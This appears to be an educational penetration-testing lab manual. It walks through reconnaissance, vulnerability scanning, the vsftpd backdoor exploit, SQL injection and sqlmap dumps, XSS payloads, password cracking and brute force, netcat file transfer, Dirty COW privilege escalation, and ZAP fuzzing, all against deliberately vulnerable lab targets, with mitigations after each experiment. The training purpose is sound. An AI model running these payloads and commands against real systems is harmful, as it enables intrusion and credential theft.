Experiment 1:

Objective: To find out what devices, services, and ports are active in a company network using tools like **Nmap** and **Recon-ng**.

Tools Used: **Nmap** – to scan IP addresses and ports. **Recon-ng** – to collect public information like subdomains. **Kali Linux** – the operating system you run these tools on.

Step 1: Scanning a network with Nmap

What is Nmap?

Nmap (Network Mapper) is a tool that tells you what is running on a particular computer or network – like open doors (ports), services (like websites), etc.

Command Used: nmap 192.168.161.130

This command scans the computer at IP 192.168.161.130 to find which **ports are open** (like HTTP on port 80, FTP on 21, etc.).

Why it's useful: Open ports can be **entry points** for attackers.

Step 2: Detailed scan with OS info

nmap 192.168.161.130 -O

The -O tells Nmap to try and guess the **Operating System**.

It also gives info like: **Open services** (like FTP, SSH). **MAC address** (hardware address). **Device Type** (e.g., general purpose server).

Step 3: Version Detection

nmap -sV 192.168.161.130

-sV means **Service Version** detection.

This tells you **which version** of services are running, e.g., Apache 2.4.29.

Why important? If you know the version, you can search online to see if there are any known bugs or "vulnerabilities".

Step 4: Scan Specific Port

nmap -p21 192.168.161.130

-p21 scans only **port 21** (used by FTP). Faster than scanning all ports. Useful when you're interested in a particular service.

Step 5: Recon-ng Installation

git clone https://github.com/lanmaster53/recon-ng.git

cd recon-ng

./recon-ng

Recon-ng is a tool to collect **public data** (OSINT) about a company – like domains, emails, etc

Step 6: Searching Modules

marketplace search

Shows you what add-ons (modules) are available to install inside Recon-ng.

Step 7: Search for SSL Tools

marketplace search ssl

marketplace info ssltools

Finds modules related to SSL (secure website connections).

Step 8: Using hackertarget module

modules load hackertarget

options set SOURCE tesla.com

run

This module uses the internet to find subdomains of a company like **tesla.com**. Doesn't send traffic to the company – it uses public sources.

Mitigation Strategies: **Close unused ports** using a firewall. **Keep systems updated** to avoid old bugs. **Monitor network** to detect scanning attempts.

Experiment 2: Vulnerability Scanning & Assessment

Objective: To scan a **Linux system** (Metasploitable 2) and a web server (DVWA) for known **vulnerabilities** using **Nessus** and **Nikto**.

Tools Used: Nessus – full system vulnerability scanner. **Nikto** – checks for web vulnerabilities. **Kali Linux** – the operating system for scanning.

Step 1: Download Nessus: Nessus is a powerful vulnerability scanner. You download it from: https://www.tenable.com/downloads/nessus Choose **Debian (64-bit)** version. Save the .deb file.

Step 2: Install and Start Nessus

sudo dpkg -i Nessus-<version>.deb (Nessus-10.8.4-debian10_amd64.deb)

sudo systemctl start nessusd

Start Nessus as a **service**.

Open browser and visit: https://<your-kali-ip>:8834

You will: Set up your account. Activate the license. Wait for it to **download plugins** (definitions of vulnerabilities).

Step 3: Run Nessus Scan

Choose a **Basic Network Scan**.

Enter the target IP of Metasploitable 2 (e.g., 192.168.161.130).

Click **Launch**.

After scan: Nessus shows **critical**, **high**, **medium**, and **low** vulnerabilities.

Example: Weak **SSL protocols**. **Outdated Apache**. **SSH misconfiguration**.

Step 4: Find Metasploitable IP On Metasploitable 2 VM, find IP using: ifconfig (or) ip addr show

Step 5: Nikto Web Server Scan: Nikto checks for **web server weaknesses**.

nikto -h http://192.168.161.130

Findings may include: **Outdated Apache version. Directory listing** is enabled. **PHP info pages** (leaks server details). Exposed files like wp-config.php.

Step 6: Save Nikto Scan to File: nikto -h http://192.168.161.130 -output nikto_results.txt

Mitigation: Patch software and keep services up-to-date. **Disable unnecessary services** like directory listing. **Use firewalls**, restrict access to known IPs.

Experiment 3: Exploiting a Known Vulnerability

Objective: To **exploit a known bug** in the FTP service (vsftpd 2.3.4) running on Metasploitable 2 using **Metasploit** and get **unauthorized access** (remote shell).

Tools Used: Nmap – to find what services are running. **Metasploit Framework** – to exploit the vsftpd backdoor. **Kali Linux** – attacker system. **Metasploitable 2** – vulnerable target.

Step 1: Get the Target's IP Address

Log into **Metasploitable 2** and run: ifconfig or ip addr show

Step 2: Scan with Nmap

nmap -sV 192.168.161.130

-sV shows **service versions**.

You'll see something like: 21/tcp open vsftpd 2.3.4 This means FTP is running, and it's vulnerable.

Step 3: Start Metasploit

Run: msfconsole

Metasploit loads and gives you access to many **exploits and payloads**.

Step 4: Find the Right Exploit

search vsftpd

It will show: exploit/unix/ftp/vsftpd_234_backdoor

Use it: use exploit/unix/ftp/vsftpd_234_backdoor

Step 5: Set Up the Exploit

Set the target IP: set RHOST 192.168.161.130

Step 6: Run the Exploit

exploit

If successful, you get: Command shell session opened!

Step 7: Prove It

Check if you're in:

ls

cat /etc/passwd

Step 8: Logging the Exploitation (Optional)

Before exploiting: spool /home/kali/exploit_log.txt

After finishing: spool off

View the log file using: mousepad exploit_log.txt

Mitigation: Update vsftpd – don't use version 2.3.4. **Restrict access** to port 21 using a firewall. **Use Intrusion Detection Systems (IDS)** to catch these attempts.

Experiment 4: SQL Injection Attacks on Web Applications

Objective: To find and exploit **SQL Injection** vulnerabilities in a web application (**DVWA**) using both manual input and **SQLMap** to extract sensitive data from the database.

Tools Used: DVWA (Damn Vulnerable Web App) – target web app. **Kali Linux** – attacker machine. **SQL Map** – tool to automate SQL injection. **Browser** – to access DVWA manually.

Step 1: Get Metasploitable 2's IP

In Metasploitable 2 VM: ifconfig or ip addr show

Step 2: Open DVWA in Browser

Open browser and go to: http://192.168.161.130/dvwa

Step 3: Login to DVWA Use default credentials: Username: admin , Password: password

Step 4: Set Security Level to "Low"

Why? Because we want the app to behave in an insecure way so we can practice. Click on **DVWA Security** (left menu). Set **Security Level** to **Low**. Click **Submit**.

Step 5: Manually Test for SQL Injection Go to the **SQL Injection** page in DVWA.

In the user ID input box, enter this: ' OR 1=1 -- Click **Submit**.

Why this works: ' OR 1=1 -- always returns TRUE. it tricks the SQL query into thinking you're a valid user.

Step 6: Use SQLMap for Automated Injection

SQLMap is a command-line tool that can **auto-detect and exploit** SQL vulnerabilities.

Example Command:

sqlmap -u "http://192.168.161.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=XYZ" --dbs –batch

-u: target URL.

--cookie: session cookie from your browser (copy it from browser dev tools).

--dbs: enumerate databases.

--batch: run without prompts.

Step 7: Find Table & Column Names After finding databases, target one:

sqlmap -u <url> --cookie="..." -D dvwa –tables

Then:

sqlmap -u <url> --cookie="..." -D dvwa -T users –columns

You'll find columns like: user, password

Step 8: Extract the Data

sqlmap -u <url> --cookie="..." -D dvwa -T users -C user,password –dump

This dumps all usernames and password hashes.

You can **crack hashes** later using John the Ripper.

Impact Analysis: Data Theft: You can extract usernames, passwords, emails, etc. **Account Hijacking**: If passwords are weak. **Full Control**: In some cases, you can run **OS commands** via SQL.

Mitigation Strategies: **Use Prepared Statements** – never concatenate user input into SQL. **Input Validation** – block dangerous characters like ' or --. **Use a WAF (Web Application Firewall)** – block injection attempts. **Least Privilege DB Access** – prevent DB users from having admin rights.

Experiment 5: Cross-Site Scripting (XSS) Attacks

Objective: To discover and exploit **Reflected XSS** vulnerabilities in the **OWASP Juice Shop** application, simulate real-world browser-based attacks, and learn how to intercept requests using **Burp Suite**.

Tools Used: OWASP Juice Shop – vulnerable web app. **Docker** – to run Juice Shop. **Burp Suite** – to intercept and modify web traffic. **Firefox Browser** – used with Burp proxy.

Step 1: Run Juice Shop in Docker

sudo docker run -d -p 3000:3000 bkimminich/juice-shop **(**-d: runs it in the background.) **(**-p 3000:3000: maps port 3000 of container to your local machine.)

Now Juice Shop will be available at: http://localhost:3000

Step 2: Open Juice Shop in Browser

Go to: http://localhost:3000 You'll see a **shopping site** with juice products. This is actually a **deliberately insecure web app** for training.

Step 3: Configure Firefox with Burp Suite

Open Burp Suite.

Go to **Proxy > Intercept** tab.

Make sure **Intercept is OFF** for now.

Now set Firefox proxy:

Open Firefox > Settings > Network Settings > Manual Proxy Configuration.

HTTP Proxy: 127.0.0.1, Port: 8080

Tick: **"Use this proxy for all protocols"** Now Firefox traffic goes through Burp.

Step 4: Interact with Search Feature

In Juice Shop, enter anything in the **search bar**.

Burp will show the HTTP request:

GET /rest/products/search?q=anything

Step 5: Inject XSS Payload

Let's try a reflected XSS attack. In the search bar, input: <iframe src="javascript:alert('xss')"> Then press **Enter**.

If it works, you'll see a **popup box** saying xss. This confirms **Reflected XSS** – your script was executed in the browser.

Step 6: Intercept & Modify Requests (Optional) You can also: Intercept the request in Burp. Modify the q parameter with the payload above. Forward the request to trigger XSS.

XSS Impact Analysis: High Risk, Attackers can: Steal cookies (session hijacking). Deface websites. Inject phishing forms. Install malware via browser.

Mitigation: Block dangerous inputs like <, >, ', ". Encode output based on context (HTML, JS, URL). Use Content Security Policy headers to block script execution. Avoid innerHTML, prefer textContent

Experiment 6: Password Cracking & Credential Harvesting:

Objective: To simulate how attackers can obtain or crack user credentials by intercepting data or performing brute-force attacks, and analyze the strength of stored or transmitted passwords.

Tools Used: John the Ripper – for offline hash cracking, Hydra – for online brute-force attacks, Burp Suite – to intercept login requests, Wireshark – for packet capture (if needed), rockyou.txt – a common password wordlist, DVWA (Damn Vulnerable Web App) – target web application

Step 1: Find Metasploitable 2 IP Address

On the Metasploitable 2 VM: ifconfig or ip addr show

Step 2: Perform SQL Injection on DVWA

Use the SQL Injection vulnerability in DVWA to extract user credentials.

Example attack URL:

http://192.168.161.130/vulnerabilities/sqli/?id=1'+union+select+user,password+from+users+--+&submit=Submit

Step 3: Crack Password Hash with John the Ripper

Create a file with the hash:

echo "admin:5f4dcc3b5aa765d61d8327deb882cf99" > dvwa_hash.txt

Unzip the rockyou wordlist if needed: sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Run John the Ripper:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt dvwa_hash.txt

To view the cracked password: john --show --format=raw-md5 dvwa_hash.txt

Output will be something like: admin:password

Step 4: Create Username and Password Lists for Hydra

Create username.txt with:

admin

root

user

msfadmin

Create password.txt with:

123456

password

admin

admin123

Step 5: Brute-force FTP Login with Hydra

Command: hydra -L username.txt -P password.txt ftp://192.168.161.130

Explanation: -L points to the username list. -P points to the password list. ftp:// tells Hydra to test against the FTP service.

Impact Analysis

Cracked or harvested passwords lead to unauthorized access. Weak passwords are easy to guess using common wordlists. Intercepted login traffic (if not encrypted) can reveal credentials.

Mitigation Strategies

For Penetration Testers: Only test authorized systems. Use logging and reporting tools to document tests.

For System Administrators: Enforce strong passwords (length + complexity). Disable insecure protocols like FTP. Use account lockout policies and multi-factor authentication. Monitor login attempts with tools like Fail2Ban or Snort.

Experiment: Privilege Escalation on a Compromised Host

Objective: To identify and exploit privilege escalation vulnerabilities on a compromised Linux machine. This involves gaining root access from a normal user account using tools like LinPEAS and the Dirty COW exploit.

Tools Used: LinPEAS – to scan for privilege escalation paths**,** Dirty COW exploit – to exploit a Linux kernel vulnerability (CVE-2016-5195)**,** Netcat – to transfer data from the target to attacker**,** Standard Linux commands – like wget, chmod, id, uname**,** Metasploitable 2 – as the target machine**,** Kali Linux – as the attacker machine

Step 1: Install LinPEAS on Kali Linux

On Kali, install PEASS-ng (which includes LinPEAS):

sudo apt install peass

Check available versions: linpeas -h

Step 2: Find the Target IP Address

On the Metasploitable 2 machine, get the IP: ifconfig or ip addr show

Step 3: Remote Login using rlogin

Connect to the target machine using remote login:

rlogin 192.168.161.130 -l msfadmin

Step 4: Start a Simple HTTP Server on Kali

On Kali, share files using a Python HTTP server: python3 -m http.server 5050

Step 5: Download and Execute LinPEAS on the Target

On Metasploitable 2:

wget http://<kali_ip>:5050/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh >> output

Step 6: Setup Netcat Listener on Kali

On Kali: nc -nlvp 4000 > myoutput.txt

Step 7: Send LinPEAS Output from Target to Kali

On Metasploitable 2: nc <kali_ip> 4000 < output

This sends the file named output to the Netcat listener on Kali.

Confirm file received by checking on Kali:

ls

cat myoutput.txt

Step 8: Analyze LinPEAS Output

Look for: Writable system files**,** Misconfigured SUID binaries**,** Kernel version**,** Files with weak permissions**,** Services running as root

Step 9: Dirty COW Exploit (CVE-2016-5195)

Check kernel version: uname -r

Clone Dirty COW exploit: git clone https://github.com/dirtycow/dirtycow.github.io.git

cd dirtycow.github.io

Compile exploit: gcc -o dirtycow dirtycow.c -lpthread -lcrypt

Run the exploit (example for editing /etc/passwd): ./dirtycow target_file new_content

Check if you're root: id **(**If it says uid=0(root), the escalation worked.)

Mitigation Strategies: Keep the kernel up to date. Dirty COW was patched in Linux 4.8.3. Use file integrity monitoring (like AIDE or OSSEC) to detect changes to sensitive files. Reduce SUID binaries to the minimum necessary. Use SELinux or AppArmor to restrict what processes can do, even if compromised.

Experiment 9: Comprehensive Web Application Penetration Testing with OWASP Juice Shop

Objective: To perform a full-scale penetration test on the **OWASP Juice Shop** application using manual techniques and automated tools like **OWASP ZAP**, simulating real-world attacker behavior.

Tools Used: OWASP Juice Shop – vulnerable e-commerce web app**,** Docker – for deploying Juice Shop**,** OWASP ZAP (Zed Attack Proxy) – for scanning and fuzzing**,** Firefox browser – configured to route traffic through ZAP**,** Git, Node.js, and npm – if running Juice Shop locally (optional)

Step 1: Clone the Juice Shop Repository (Optional)

git clone https://github.com/juice-shop/juice-shop.git

cd juice-shop

Step 2: Install Dependencies (Optional): If you're running Juice Shop without Docker:

npm install

This installs the dependencies required by the Node.js-based application. Juice Shop intentionally uses outdated packages to demonstrate security flaws.

Step 3: Deploy Juice Shop Using Docker

sudo docker run -d -p 3000:3000 bkimminich/juice-shop

Access it via: http://localhost:3000

Step 4: Install and Configure ZAP Proxy

Download and install OWASP ZAP from the official site.

Set ZAP proxy to listen on 127.0.0.1:8888.

Configure Firefox to route all HTTP and HTTPS traffic through ZAP:

Manual proxy: 127.0.0.1, port 8888.

Step 5: Run Automated Scan in ZAP

Enter http://localhost:3000 as the target.

Start an **Automated Scan** in ZAP.

ZAP will spider the site (crawl links) and perform vulnerability tests.

Initial alerts may show low to medium severity issues, but some critical flaws may also appear later.

Step 6: Manual Exploration with HUD

Access the site via Firefox., Use ZAP's HUD (Heads Up Display) to interact with the site. This allows real-time scanning and easy testing of inputs.

Step 7: Explore Pages (Example: Product Listing): Observe the product pages, which may include JavaScript, cookies, and basic user interface elements.

Step 8: Search Feature Testing: Try searching for common admin-related terms (e.g., "admin"). Even if no results appear, this helps understand the app's behavior and can hint at hidden functionality.

Step 9: Analyze WebSocket Traffic

ZAP records WebSocket communications. Look for data being passed through WebSocket channels, especially paths like /images/admin.

Step 10: XSS Payload Injection: Attempt to inject the following JavaScript code:

<script>alert('xss')</script>

If the alert pops up, it confirms a successful stored or reflected XSS vulnerability.

Step 11: SQL Injection Attempt

Try logging in with: Email: ' OR '1'='1, Password: anything

Step 12: Confirm Admin Login: After bypassing login, Juice Shop should show a welcome message and display more privileged features.

Step 13: Inspect HTTP Request and Response

Use ZAP to inspect: Request to: POST /rest/user/login, Response: status code 200 with "email": "admin@juice-sh.op" confirms successful login.

Step 14: Fuzzing for Weak Credentials: Use ZAP or Burp Suite to fuzz the login form using a list of common usernames and passwords (e.g., admin/admin, admin/password).

Set: Threads: 8, Strategy: Depth First, Delay: 0 ms

If login is successful or the server responds with 500 errors, there may be input handling flaws.